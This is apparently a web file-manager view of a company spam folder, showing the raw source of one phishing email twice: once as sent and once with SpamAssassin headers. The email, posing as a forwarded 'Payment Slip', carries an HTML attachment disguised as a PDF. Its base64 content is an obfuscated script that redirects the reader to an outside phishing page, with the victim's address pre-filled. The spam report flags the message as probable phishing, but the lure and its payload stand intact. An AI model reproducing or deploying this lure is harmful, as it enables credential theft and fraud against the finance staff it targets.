FM / new

/home/kanaloa/mail/.spam/new

Name	Size	Mode	Actions
1692492060.M552663P174401.sirius.intelsrv.net,S=102559,W=102750	102559	0640	edit dl rm
1694221735.M363214P885835.sirius.intelsrv.net,S=78876,W=79076	78876	0640	edit dl rm
1698542407.M948712P3604484.sirius.intelsrv.net,S=94617,W=94805	94617	0640	edit dl rm
1700443490.M753742P251665.atlas.intelsrv.net,S=84026,W=84201	84026	0640	edit dl rm
1702672421.M36882P2194997.atlas.intelsrv.net,S=94478,W=94664	94478	0640	edit dl rm
1708283093.M994051P2886566.atlas.intelsrv.net,S=84084,W=84260	84084	0640	edit dl rm
1711571655.M771605P4124184.atlas.intelsrv.net,S=14297,W=14521	14297	0640	edit dl rm
1711574143.M63856P4169044.atlas.intelsrv.net,S=14286,W=14510	14286	0640	edit dl rm
1712092887.M220867P32366.atlas.intelsrv.net,S=14090,W=14324	14090	0640	edit dl rm
1712096179.M976591P103590.atlas.intelsrv.net,S=14076,W=14310	14076	0640	edit dl rm
1713381681.M870113P3698754.atlas.intelsrv.net,S=8850,W=8996	8850	0640	edit dl rm
1713384051.M817886P3758620.atlas.intelsrv.net,S=8842,W=8988	8842	0640	edit dl rm
1714415088.M396685P2306197.atlas.intelsrv.net,S=12179,W=12374	12179	0640	edit dl rm
1714417863.M721482P2323368.atlas.intelsrv.net,S=12159,W=12354	12159	0640	edit dl rm
1715807643.M36129P3685776.atlas.intelsrv.net,S=69473,W=69577	69473	0640	edit dl rm
1717086952.M535483P1959373.atlas.intelsrv.net,S=13555,W=13767	13555	0640	edit dl rm
1717088874.M831846P1986005.atlas.intelsrv.net,S=13413,W=13623	13413	0640	edit dl rm
1720792861.M594569P1684919.atlas.intelsrv.net,S=94899,W=95091	94899	0640	edit dl rm
1728072877.M187476P3973201.atlas.intelsrv.net,S=95456,W=95653	95456	0640	edit dl rm
1728848996.M227405P2434445.atlas.intelsrv.net,S=85006,W=85192	85006	0640	edit dl rm
1731046228.M90320P2927654.atlas.intelsrv.net,S=84120,W=84295	84120	0640	edit dl rm
1731506450.M620905P2853279.atlas.intelsrv.net,S=95031,W=95222	95031	0640	edit dl rm
1733025339.M119983P1206673.atlas.intelsrv.net,S=84854,W=85038	84854	0640	edit dl rm
1733668902.M780298P3098488.atlas.intelsrv.net,S=95175,W=95368	95175	0640	edit dl rm
1735261357.M144342P3110429.atlas.intelsrv.net,S=84855,W=85039	84855	0640	edit dl rm
1735787586.M244569P4114045.atlas.intelsrv.net,S=95310,W=95505	95310	0640	edit dl rm
1737398734.M475585P154347.atlas.intelsrv.net,S=84697,W=84879	84697	0640	edit dl rm
1738751835.M550351P180958.vmi2438535.contaboserver.net,S=95516,W=95713	95516	0640	edit dl rm
1740942719.M471687P181200.vmi2438535.contaboserver.net,S=95404,W=95599	95404	0640	edit dl rm
1742204744.M384817P2752769.vmi2438535.contaboserver.net,S=85086,W=85273	85086	0640	edit dl rm
1744756317.M397505P3678161.vmi2438535.contaboserver.net,S=84954,W=85139	84954	0640	edit dl rm
1745194592.M758424P381353.vmi2438535.contaboserver.net,S=95361,W=95556	95361	0640	edit dl rm
1745336576.M800126P736253.vmi2438535.contaboserver.net,S=153917,W=156091	153917	0640	edit dl rm
1745372262.M157682P824952.vmi2438535.contaboserver.net,S=7936,W=8082	7936	0640	edit dl rm
1745440339.M853220P980468.vmi2438535.contaboserver.net,S=31843,W=32326	31843	0640	edit dl rm
1745705587.M961996P1581325.vmi2438535.contaboserver.net,S=7720,W=7864	7720	0640	edit dl rm
1745724435.M215862P1619296.vmi2438535.contaboserver.net,S=32025,W=32511	32025	0640	edit dl rm
1746140592.M951073P2526363.vmi2438535.contaboserver.net,S=7261,W=7386	7261	0640	edit dl rm
1746381035.M126218P3036763.vmi2438535.contaboserver.net,S=7413,W=7540	7413	0640	edit dl rm
1746398834.M92557P3070805.vmi2438535.contaboserver.net,S=7791,W=7937	7791	0640	edit dl rm
1746417203.M507924P3105711.vmi2438535.contaboserver.net,S=31596,W=32076	31596	0640	edit dl rm
1747166772.M689990P1107481.vmi2438535.contaboserver.net,S=7792,W=7938	7792	0640	edit dl rm
1747351781.M117310P1519839.vmi2438535.contaboserver.net,S=7827,W=7960	7827	0640	edit dl rm
1747531137.M459373P1870619.vmi2438535.contaboserver.net,S=84948,W=85133	84948	0640	edit dl rm
1747746035.M107177P2266132.vmi2438535.contaboserver.net,S=84963,W=85148	84963	0640	edit dl rm
1747792460.M920497P2367881.vmi2438535.contaboserver.net,S=7446,W=7606	7446	0640	edit dl rm
1749331304.M33140P1241064.vmi2438535.contaboserver.net,S=6764,W=6877	6764	0640	edit dl rm
1749465293.M408822P1463139.vmi2438535.contaboserver.net,S=95803,W=96004	95803	0640	edit dl rm
1749499116.M668858P1528496.vmi2438535.contaboserver.net,S=85237,W=85426	85237	0640	edit dl rm
1749587202.M6711P1686597.vmi2438535.contaboserver.net,S=154171,W=156352	154171	0640	edit dl rm
1755268224.M833642P3752908.vmi2438535.contaboserver.net,S=84902,W=85086	84902	0640	edit dl rm
1759207711.M983454P3525463.vmi2438535.contaboserver.net,S=8588,W=8682	8588	0640	edit dl rm
1761025755.M172851P3356900.vmi2438535.contaboserver.net,S=97960,W=98107	97960	0640	edit dl rm
1765092131.M727179P24730.vmi2438535.contaboserver.net,S=3213,W=3272	3213	0640	edit dl rm
1765508328.M935440P411074.vmi2438535.contaboserver.net,S=476401,W=482962	476401	0640	edit dl rm
1765508329.M12121P411074.vmi2438535.contaboserver.net,S=476385,W=482946	476385	0640	edit dl rm
1771413483.M564817P583029.vmi2438535.contaboserver.net,S=5882,W=5982	5882	0640	edit dl rm
1771525106.M88101P931517.vmi2438535.contaboserver.net,S=5988,W=6090	5988	0640	edit dl rm
1781445977.M67460P3415701.vmi2438535.contaboserver.net,S=18477,W=18799	18477	0640	edit dl rm
1788082966.M551860P2791612.vmi2438535.contaboserver.net,S=6000,W=6106	6000	0640	edit dl rm

Edit: /home/kanaloa/mail/.spam/new/1747166772.M689990P1107481.vmi2438535.contaboserver.net,S=7792,W=7938 (7792B)

Envelope-to: cfo@kanaloaparqueacuatico.co
Delivery-date: Tue, 13 May 2025 15:06:12 -0500
From: Accounting <lisa0837@gmail.com>
To: cfo@kanaloaparqueacuatico.co
Date: 13 May 2025 13:05:29 -0700
Message-ID: <20250513130529.CCF65A75B1117D72@gmail.com>
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0012_D47A9713.DA1E09D3"
Subject: ***SPAM*** Fwd: Payment Slip

This is a multi-part message in MIME format.

------=_NextPart_000_0012_D47A9713.DA1E09D3
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.=
w3.org/TR/html4/loose.dtd">

<HTML><HEAD><TITLE>New Page 1</TITLE>
<META content=3Den-us http-equiv=3DContent-Language>
<META content=3D"text/html; charset=3Dwindows-1252" http-equiv=3DContent-Ty=
pe>
<META name=3DGENERATOR content=3D"MSHTML 11.00.10570.1001"></HEAD>
<body>
<DIV class=3DrcmBody style=3D"MARGIN: 0.5em">
<DIV>
How are you &nbsp;</DIV>
<DIV style=3D"FONT-SIZE: 12pt; FONT-FAMILY: Calibri,Arial,Helvetica,sans-se=
rif; COLOR: rgb(0,0,0)">Find attached&nbsp;Payment Slip. as =
requested=20
kindly check with your bank for confirmation.&nbsp;</DIV>
<DIV style=3D"FONT-SIZE: 12pt; FONT-FAMILY: Calibri,Arial,Helvetica,sans-se=
rif; COLOR: rgb(0,0,0)">&nbsp;=20
Thanks Accounting lisa
&nbsp;</DIV>
-----Original Message----- From: "Account Payables/Credit Control=
 Unit" Date: 5/13/2025 1:05:29 p.m. To: "Accounting"&lt;</SPAN=
><A style=3D"COLOR: rgb(0,0,238)">lisa0837@gmail.com</A></FO=
NT>&gt; Subject: Fwd: Payment Slip</FON=
T>
 
&nbsp;
Hello, lisa
Kindly forward&nbsp; the attached Payment Slip &nbsp;to <=
/FONT><A style=3D"COLOR: rgb(0,0,238)">cfo@kanaloaparqueacua=
tico.co</A></DIV>
Best Regards, Account Payables/Credit Control Unit </F=
ONT></BODY></HTML>
------=_NextPart_000_0012_D47A9713.DA1E09D3
Content-Type: text/html; name="Payment Slip.pdf.html"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="Payment Slip.pdf.html"

PHNjcmlwdD4NCjwhLS1meXVoaWtvdWhlNmdnNzdoOHV5Zmd5YnhmYm5ndWhvaXV5dGRycmRz
ZnJkdGdoeXVnaW9paHV5dHJlc2VlZnR0eWZnN2g4aWpoaGdqa2tqaHlndGVydHlnanVvbGt1
aGd0eWd5dXloa3lmdGhqZ3VoaWdodWd1aXl5Z2dnaHVpaGh1Z3l1LS0+DQpkb2N1bWVudC53
cml0ZSh1bmVzY2FwZSgnJTNDJTIxRE9DVFlQRSUyMGh0bWwlMjBQVUJMSUMlMjAlMjItLy9X
M0MvL0RURCUyMFhIVE1MJTIwMS4wJTIwVHJhbnNpdGlvbmFsLy9FTiUyMiUwQSUwQSUyMiUy
MiUzRSUwQSUzQ2h0bWwlMjB4bWxucyUzRCUyMiUyMiUzRSUwQSUzQ2hlYWQlM0UlMEElM0Nt
ZXRhJTIwaHR0cC1lcXVpdiUzRCUyMkNvbnRlbnQtVHlwZSUyMiUyMGNvbnRlbnQlM0QlMjJ0
ZXh0L2h0bWwlM0IlMjBjaGFyc2V0JTNEaXNvLTg4NTktMSUyMiUyMC8lM0UlMEElM0NtZXRh
JTIwaHR0cC1lcXVpdiUzRCUyMlJFRlJFU0glMjJjb250ZW50JTNEJTIyMSUzQnVybCUzRGh0
dHBzJTNBLy9oYXZhamVsLmNvbS93cC1pbmNsdWRlcy9TaW1wbGVQaWUvc3JjL3NtLmh0bWwl
M0ZlbWFpbCcpKTsNCjwvc2NyaXB0Pj1jZm9Aa2FuYWxvYXBhcnF1ZWFjdWF0aWNvLmNvIj4N
Cjx0aXRsZT5VbnRpdGxlZCBEb2N1bWVudDwvdGl0bGU+DQo8L2hlYWQ+DQoNCjxib2R5Pg0K
DQo8L2JvZHk+DQo8L2h0bWw+DQoNCg==

------=_NextPart_000_0012_D47A9713.DA1E09D3--

Return-Path: Delivered-To: kanaloa+spam@vmi2438535.contaboserver.net Received: from vmi2438535.contaboserver.net by vmi2438535.contaboserver.net with LMTP id 0LKvJzSmI2gZ5hAAex89Rg (envelope-from ) for ; Tue, 13 May 2025 15:06:12 -0500 Return-path: Envelope-to: cfo@kanaloaparqueacuatico.co Delivery-date: Tue, 13 May 2025 15:06:12 -0500 Received: from [212.11.64.238] (port=55135 helo=gmail.com) by vmi2438535.contaboserver.net with esmtp (Exim 4.98.1) (envelope-from ) id 1uEvtD-00000004eSq-4BDI for cfo@kanaloaparqueacuatico.co; Tue, 13 May 2025 15:06:12 -0500 From: Accounting To: cfo@kanaloaparqueacuatico.co Date: 13 May 2025 13:05:29 -0700 Message-ID: <20250513130529.CCF65A75B1117D72@gmail.com> MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0012_D47A9713.DA1E09D3" X-Spam-Status: Yes, score=21.1 X-Spam-Score: 211 X-Spam-Bar: +++++++++++++++++++++ X-Spam-Report: Spam detection software, running on the system "vmi2438535.contaboserver.net", has identified this incoming email as possible spam. The original message has been attached to this so you can view it or label similar future email. If you have any questions, see root\@localhost for details. Content preview: New Page 1 How are you Content analysis details: (21.1 points, 5.0 required) pts rule name description ---- ---------------------- -------------------------------------------------- 0.0 RCVD_IN_ZEN_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to zen.spamhaus.org was blocked. See https://www.spamhaus.org/returnc/vol/ [212.11.64.238 listed in zen.spamhaus.org] 0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to Validity was blocked. See https://knowledge.validity.com/hc/en-us/articles/20961730681243 for more information. [212.11.64.238 listed in bl.score.senderscore.com] 0.0 RCVD_IN_VALIDITY_CERTIFIED_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to Validity was blocked. See https://knowledge.validity.com/hc/en-us/articles/20961730681243 for more information. [212.11.64.238 listed in sa-trusted.bondedsender.org] 0.0 RCVD_IN_VALIDITY_SAFE_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to Validity was blocked. See https://knowledge.validity.com/hc/en-us/articles/20961730681243 for more information. [212.11.64.238 listed in sa-accredit.habeas.com] 1.5 SPF_SOFTFAIL SPF: sender does not match SPF record (softfail) 0.0 DKIM_ADSP_CUSTOM_MED No valid author signature, adsp_override is CUSTOM_MED 1.5 SPF_HELO_SOFTFAIL SPF: HELO does not match SPF record (softfail) 0.0 KAM_DMARC_STATUS Test Rule for DKIM or SPF Failure with Strict Alignment 0.2 KAM_DMARC_NONE DKIM has Failed or SPF has failed on the message and the domain has no DMARC policy 0.2 FREEMAIL_ENVFROM_END_DIGIT Envelope-from freemail username ends in digit [lisa0837(at)gmail.com] 1.0 FORGED_GMAIL_RCVD 'From' gmail.com does not match 'Received' headers 0.0 FREEMAIL_FROM Sender email is commonly abused enduser mail provider [lisa0837(at)gmail.com] 0.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.0 HTML_EXTRA_CLOSE BODY: HTML contains far too many close tags 0.0 HTML_MESSAGE BODY: HTML included in message 2.0 RDNS_NONE Delivered to internal network by a host with no rDNS 0.0 T_HTML_ATTACH HTML attachment to bypass scanning? 3.0 KAM_BADPDF3 Likely Fake PDF 0.8 GB_FREEMAIL_NUM Freemail spammy address 3.5 PHISH_ATTACH Attachment filename suspicious, probable phishing 4.0 GB_BADJS Bad html attachment 0.0 SPOOFED_FREEMAIL_NO_RDNS From SPOOFED_FREEMAIL and no rDNS 2.0 GB_GMAIL_NUM Spam from random Gmail address 1.2 NML_ADSP_CUSTOM_MED ADSP custom_med hit, and not from a mailing list X-Spam-Flag: YES Subject: ***SPAM*** Fwd: Payment Slip This is a multi-part message in MIME format. ------=_NextPart_000_0012_D47A9713.DA1E09D3 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable New Page 1

How are you

Find attached Payment Slip. as = requested=20

kindly check with your bank for confirmation.

=20

Thanks
Accounting
lisa

-----Original Message-----
From: "Account Payables/Credit Control= Unit"
Date: 5/13/2025 1:05:29 p.m.
To: "Accounting"<lisa0837@gmail.com>
Subject: Fwd: Payment Slip

Hello, lisa

Kindly forward the attached Payment Slip to <= /FONT>cfo@kanaloaparqueacua= tico.co

Best Regards,
Account Payables/Credit Control Unit

------=_NextPart_000_0012_D47A9713.DA1E09D3 Content-Type: text/html; name="Payment Slip.pdf.html" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Payment Slip.pdf.html" PHNjcmlwdD4NCjwhLS1meXVoaWtvdWhlNmdnNzdoOHV5Zmd5YnhmYm5ndWhvaXV5dGRycmRz ZnJkdGdoeXVnaW9paHV5dHJlc2VlZnR0eWZnN2g4aWpoaGdqa2tqaHlndGVydHlnanVvbGt1 aGd0eWd5dXloa3lmdGhqZ3VoaWdodWd1aXl5Z2dnaHVpaGh1Z3l1LS0+DQpkb2N1bWVudC53 cml0ZSh1bmVzY2FwZSgnJTNDJTIxRE9DVFlQRSUyMGh0bWwlMjBQVUJMSUMlMjAlMjItLy9X M0MvL0RURCUyMFhIVE1MJTIwMS4wJTIwVHJhbnNpdGlvbmFsLy9FTiUyMiUwQSUwQSUyMiUy MiUzRSUwQSUzQ2h0bWwlMjB4bWxucyUzRCUyMiUyMiUzRSUwQSUzQ2hlYWQlM0UlMEElM0Nt ZXRhJTIwaHR0cC1lcXVpdiUzRCUyMkNvbnRlbnQtVHlwZSUyMiUyMGNvbnRlbnQlM0QlMjJ0 ZXh0L2h0bWwlM0IlMjBjaGFyc2V0JTNEaXNvLTg4NTktMSUyMiUyMC8lM0UlMEElM0NtZXRh JTIwaHR0cC1lcXVpdiUzRCUyMlJFRlJFU0glMjJjb250ZW50JTNEJTIyMSUzQnVybCUzRGh0 dHBzJTNBLy9oYXZhamVsLmNvbS93cC1pbmNsdWRlcy9TaW1wbGVQaWUvc3JjL3NtLmh0bWwl M0ZlbWFpbCcpKTsNCjwvc2NyaXB0Pj1jZm9Aa2FuYWxvYXBhcnF1ZWFjdWF0aWNvLmNvIj4N Cjx0aXRsZT5VbnRpdGxlZCBEb2N1bWVudDwvdGl0bGU+DQo8L2hlYWQ+DQoNCjxib2R5Pg0K DQo8L2JvZHk+DQo8L2h0bWw+DQoNCg== ------=_NextPart_000_0012_D47A9713.DA1E09D3--